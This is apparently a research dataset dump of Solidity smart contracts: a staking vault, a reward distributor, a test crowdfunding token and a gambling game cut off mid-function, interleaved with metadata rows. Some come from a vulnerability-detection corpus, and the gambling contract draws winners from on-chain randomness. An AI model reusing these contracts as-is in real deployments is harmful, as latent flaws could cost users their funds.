function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call{value:amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Vault is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public stakingToken;
IERC20 public rewardToken;
uint256 public periodFinish;
uint256 public rewardRate;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint) private _balances;
address public distribution;
uint256 public constant DURATION = 7 days;
modifier onlyDistribution() {
require(msg.sender == distribution, "Caller is not RewardsDistribution contract");
_;
}
constructor(address _stakingToken,
address _rewardToken) {
stakingToken = IERC20(_stakingToken);
rewardToken = IERC20(_rewardToken);
distribution = msg.sender;
}
function updateDistribution(address _distribution) external onlyDistribution {
distribution = _distribution;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return 0;
}
return
rewardPerTokenStored +
(((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) /
_totalSupply);
}
function earned(address account) public view returns (uint256) {
return
((_balances[account] *
(rewardPerToken() - userRewardPerTokenPaid[account])) / 1e18) +
rewards[account];
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function stake(uint256 _amount)
external
nonReentrant
updateReward(msg.sender)
{
require(_amount > 0, "Cannot stake 0");
_totalSupply += _amount;
_balances[msg.sender] += _amount;
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
}
function unstake(uint256 _amount)
external
nonReentrant
updateReward(msg.sender)
{
require(_amount > 0, "Cannot withdraw 0");
require(_balances[msg.sender] >= _amount,
"Not enough amount");
_totalSupply -= _amount;
_balances[msg.sender] -= _amount;
stakingToken.safeTransfer(msg.sender, _amount);
}
function getReward() external nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) {
rewardToken.safeTransferFrom(distribution, address(this), reward);
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardToken.balanceOf(address(this));
require(rewardRate <= balance.div(DURATION), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
}
}
| 333,482 | 1,750 |
4b880ad062627c7f8b4221a67578cec296dc41a78f68f49094fe7a20e1ebba5e
| 18,012 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/94/940A01E83CE4972C7Dca8B5a9dD139276A6792D9_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 74,649 | 1,751 |
92137c67a3c5c3577bd549a282226e6328c91c9bc56cea125548f6da5cbb3d04
| 10,630 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0xde88ec7b6ac36ed99865098bebbc7756b00aed6f.sol
| 2,751 | 10,580 |
pragma solidity ^0.4.2;
/// @title GNT Allocation - Time-locked vault of tokens allocated
/// to developers and Golem Factory
contract GNTAllocation {
// Total number of allocations to distribute additional tokens among
// developers and the Golem Factory. The Golem Factory has right to 20000
// allocations, developers to 10000 allocations, divides among individual
// developers by numbers specified in `allocations` table.
uint256 constant totalAllocations = 30000;
// Addresses of developer and the Golem Factory to allocations mapping.
mapping (address => uint256) allocations;
GolemNetworkToken gnt;
uint256 unlockedAt;
uint256 tokensCreated = 0;
function GNTAllocation(address _golemFactory) internal {
gnt = GolemNetworkToken(msg.sender);
unlockedAt = now + 30 minutes;
// For the Golem Factory:
allocations[_golemFactory] = 20000; // 12/18 pp of 30000 allocations.
// For developers:
allocations[0x3F4e79023273E82EfcD8B204fF1778e09df1a597] = 2500; // 25.0% of developers' allocations (10000).
allocations[0x1A5218B6E5C49c290745552481bb0335be2fB0F4] = 730; // 7.3% of developers' allocations.
allocations[0x00eA32D8DAe74c01eBe293C74921DB27a6398D57] = 730;
allocations[0xde03] = 730;
allocations[0xde04] = 730;
allocations[0xde05] = 730;
allocations[0xde06] = 630; // 6.3% of developers' allocations.
allocations[0xde07] = 630;
allocations[0xde08] = 630;
allocations[0xde09] = 630;
allocations[0xde10] = 310; // 3.1% of developers' allocations.
allocations[0xde11] = 153; // 1.53% of developers' allocations.
allocations[0xde12] = 150; // 1.5% of developers' allocations.
allocations[0xde13] = 100; // 1.0% of developers' allocations.
allocations[0xde14] = 100;
allocations[0xde15] = 100;
allocations[0xde16] = 70; // 0.7% of developers' allocations.
allocations[0xde17] = 70;
allocations[0xde18] = 70;
allocations[0xde19] = 70;
allocations[0xde20] = 70;
allocations[0xde21] = 42; // 0.42% of developers' allocations.
allocations[0xde22] = 25; // 0.25% of developers' allocations.
}
/// @notice Allow developer to unlock allocated tokens by transferring them
/// from GNTAllocation to developer's address.
function unlock() external {
if (now < unlockedAt) throw;
// During first unlock attempt fetch total number of locked tokens.
if (tokensCreated == 0)
tokensCreated = gnt.balanceOf(this);
var allocation = allocations[msg.sender];
allocations[msg.sender] = 0;
var toTransfer = tokensCreated * allocation / totalAllocations;
// Will fail if allocation (and therefore toTransfer) is 0.
if (!gnt.transfer(msg.sender, toTransfer)) throw;
}
}
/// @title Migration Agent interface
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
/// @title Golem Network Token (GNT) - crowdfunding code for Golem Project
contract GolemNetworkToken {
string public constant name = "Test Network Token";
string public constant symbol = "TNT";
uint8 public constant decimals = 18; // 18 decimal places, the same as ETH.
uint256 public constant tokenCreationRate = 1000;
// The funding cap in weis.
uint256 public constant tokenCreationCap = 3 ether * tokenCreationRate;
uint256 public constant tokenCreationMin = 1 ether * tokenCreationRate;
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
// The flag indicates if the GNT contract is in Funding state.
bool public funding = true;
// Receives ETH and its own GNT endowment.
address public golemFactory;
// Has control over token migration to next version of token.
address public migrationMaster;
GNTAllocation lockedAllocation;
// The current total token supply.
uint256 totalTokens;
mapping (address => uint256) balances;
address public migrationAgent;
uint256 public totalMigrated;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
function GolemNetworkToken(address _golemFactory,
address _migrationMaster,
uint256 _fundingStartBlock,
uint256 _fundingEndBlock) {
if (_golemFactory == 0) throw;
if (_migrationMaster == 0) throw;
if (_fundingStartBlock <= block.number) throw;
if (_fundingEndBlock <= _fundingStartBlock) throw;
lockedAllocation = new GNTAllocation(_golemFactory);
migrationMaster = _migrationMaster;
golemFactory = _golemFactory;
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
}
/// @notice Transfer `_value` GNT tokens from sender's account
/// `msg.sender` to provided account address `_to`.
/// @notice This function is disabled during the funding.
/// @dev Required state: Operational
/// @param _to The address of the tokens recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool) {
// Abort if not in Operational state.
if (funding) throw;
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function totalSupply() external constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) external constant returns (uint256) {
return balances[_owner];
}
// Token migration support:
/// @notice Migrate tokens to the new token contract.
/// @dev Required state: Operational Migration
/// @param _value The amount of token to be migrated
function migrate(uint256 _value) external {
// Abort if not in Operational Migration state.
if (funding) throw;
if (migrationAgent == 0) throw;
// Validate input value.
if (_value == 0) throw;
if (_value > balances[msg.sender]) throw;
balances[msg.sender] -= _value;
totalTokens -= _value;
totalMigrated += _value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
Migrate(msg.sender, migrationAgent, _value);
}
/// @notice Set address of migration target contract and enable migration
/// process.
/// @dev Required state: Operational Normal
/// @dev State transition: -> Operational Migration
/// @param _agent The address of the MigrationAgent contract
function setMigrationAgent(address _agent) external {
// Abort if not in Operational Normal state.
if (funding) throw;
if (migrationAgent != 0) throw;
if (msg.sender != migrationMaster) throw;
migrationAgent = _agent;
}
function setMigrationMaster(address _master) external {
if (msg.sender != migrationMaster) throw;
if (_master == 0) throw;
migrationMaster = _master;
}
// Crowdfunding:
/// @notice Create tokens when funding is active.
/// @dev Required state: Funding Active
/// @dev State transition: -> Funding Success (only if cap reached)
function create() payable external {
// Abort if not in Funding Active state.
// The checks are split (instead of using or operator) because it is
// cheaper this way.
if (!funding) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingEndBlock) throw;
// Do not allow creating 0 or more than the cap tokens.
if (msg.value == 0) throw;
if (msg.value > (tokenCreationCap - totalTokens) / tokenCreationRate)
throw;
var numTokens = msg.value * tokenCreationRate;
totalTokens += numTokens;
// Assign new tokens to the sender
balances[msg.sender] += numTokens;
// Log token creation event
Transfer(0, msg.sender, numTokens);
}
/// @notice Finalize crowdfunding
/// @dev If cap was reached or crowdfunding has ended then:
/// create GNT for the Golem Factory and developer,
/// transfer ETH to the Golem Factory address.
/// @dev Required state: Funding Success
/// @dev State transition: -> Operational Normal
function finalize() external {
// Abort if not in Funding Success state.
if (!funding) throw;
if ((block.number <= fundingEndBlock ||
totalTokens < tokenCreationMin) &&
totalTokens < tokenCreationCap) throw;
// Switch to Operational state. This is the only place this can happen.
funding = false;
// Create additional GNT for the Golem Factory and developers as
// the 18% of total number of tokens.
// All additional tokens are transfered to the account controller by
// GNTAllocation contract which will not allow using them for 6 months.
uint256 percentOfTotal = 18;
uint256 additionalTokens =
totalTokens * percentOfTotal / (100 - percentOfTotal);
totalTokens += additionalTokens;
balances[lockedAllocation] += additionalTokens;
Transfer(0, lockedAllocation, additionalTokens);
// Transfer ETH to the Golem Factory address.
if (!golemFactory.send(this.balance)) throw;
}
/// @notice Get back the ether sent during the funding in case the funding
/// has not reached the minimum level.
/// @dev Required state: Funding Failure
function refund() external {
// Abort if not in Funding Failure state.
if (!funding) throw;
if (block.number <= fundingEndBlock) throw;
if (totalTokens >= tokenCreationMin) throw;
var gntValue = balances[msg.sender];
if (gntValue == 0) throw;
balances[msg.sender] = 0;
totalTokens -= gntValue;
var ethValue = gntValue / tokenCreationRate;
Refund(msg.sender, ethValue);
if (!msg.sender.send(ethValue)) throw;
}
}
| 135,750 | 1,752 |
be93eb4a722761b008a00f3e79356ed614f32eab6142e95befa36411fec2924f
| 15,528 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Gambling/0x62190802001819f42cb2eda7017d3c617af431c1.sol
| 3,982 | 14,096 |
pragma solidity ^0.4.24;
contract INTIME {
using SafeMath for *;
struct Player {
uint id;
uint referrer;
uint generation;
string name;
uint256 weight;
uint256 balance;
uint256 withdrawal;
uint256 referralBonus;
uint256 lastKeyBonus;
uint256 potBonus;
uint256 stakingBonus;
uint256 airdropBonus;
}
mapping(address => Player) public players;
// System
address public teamAddress;
uint256 public teamNamingIncome;
address public keyAddress;
address[] participantPool;
uint256 participantPoolStart;
uint256 participantPoolEnd;
address[] public participants;
uint256 public participantsLength;
address[] public winner;
uint256 public deadline;
uint256 keyPrice_min;
uint256 keyPrice_max;
uint256 public keyPrice;
uint256 public currentGeneration;
uint256 public currentKeyRound;
uint256 public duration;
uint256[] public durationPhaseArray;
uint256 public durationPhaseIndex;
uint256 public poolWeight;
uint256 public poolBalance;
uint256 public poolReward;
uint256 public poolWithdraw;
bool public airdropped;
bool public keyLocked;
uint256 public airdropWinTime;
uint256 public airdropBalance;
uint256 public airdroppedAmount;
uint256 public unitStake;
uint256 public potReserve;
mapping(string => address) addressFromName;
event Withdrawal(address indexed _from,
uint256 _value);
event Deposit(address indexed _keyHolder,
uint256 _weight,
uint256 _keyPrice,
uint256 _deadline,
uint256 _durationPhaseIndex,
bool _phaseChanged,
uint256 _poolBalance,
uint256 _poolReward,
uint256 _poolWeight,
// If Airdrop
bool _airdropped,
uint256 _airdropBalance,
// If Trigger Reserve
bool _potReserveGive,
uint256 _potReserve);
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
constructor (address _teamAddress) public {
teamAddress = _teamAddress;
keyPrice_min = 1e14; // in wei, 0.0001 eth
keyPrice_max = 15e15; // in wei, 0.015 eth
keyPrice = keyPrice_min; // in wei, 0.0001 eth
keyAddress = msg.sender;
durationPhaseArray = [1440, 720, 360, 180, 90, 60, 30];
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
currentGeneration = 0;
resetGame();
}
function resetGame() private {
uint256 residualBalance = 0;
if(currentGeneration != 0) {
// Distribute tokens
// Staking distribution => distributed on deposit
// Pool distribution => 20%
unitStake = 0;
// 75% for the winner;
players[keyAddress].balance += poolBalance / 5 * 75 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 75 / 100;
// 15% for random participant
if(participantPoolEnd - participantPoolStart > 0) {
uint randParticipantIndex = rand(participantPoolStart + 1, participantPoolEnd);
players[participantPool[randParticipantIndex - 1]].balance += poolBalance / 5 * 15 / 100;
players[participantPool[randParticipantIndex - 1]].lastKeyBonus += poolBalance / 5 * 15 / 100;
} else {
players[keyAddress].balance += poolBalance / 5 * 15 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 15 / 100;
}
// 10% and pot reserve for next round
residualBalance += poolBalance / 5 * 10 / 100 + potReserve;
winner.push(keyAddress);
}
airdropWinTime = now;
keyPrice = 1e15;
poolWeight = 0;
poolReward = 0;
potReserve = 0;
// Reset duration and deadline
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
poolBalance = residualBalance;
keyLocked = false;
currentKeyRound = 0;
currentGeneration ++;
keyAddress = teamAddress;
participantPoolStart = participantPool.length;
participantPoolEnd = participantPool.length;
}
function setName(string name) isHuman() payable public {
uint256 amount = msg.value;
require(amount >= 1e15);
require(addressFromName[name] == address(0));
players[teamAddress].balance += amount;
teamNamingIncome += amount;
players[msg.sender].name = name;
addressFromName[name] = msg.sender;
}
function referralName (string name) isHuman() payable public {
if(addressFromName[name] != address(0) && addressFromName[name] != msg.sender && players[msg.sender].referrer == 0)
players[msg.sender].referrer = players[addressFromName[name]].id;
uint256 amount = msg.value;
deposit(amount);
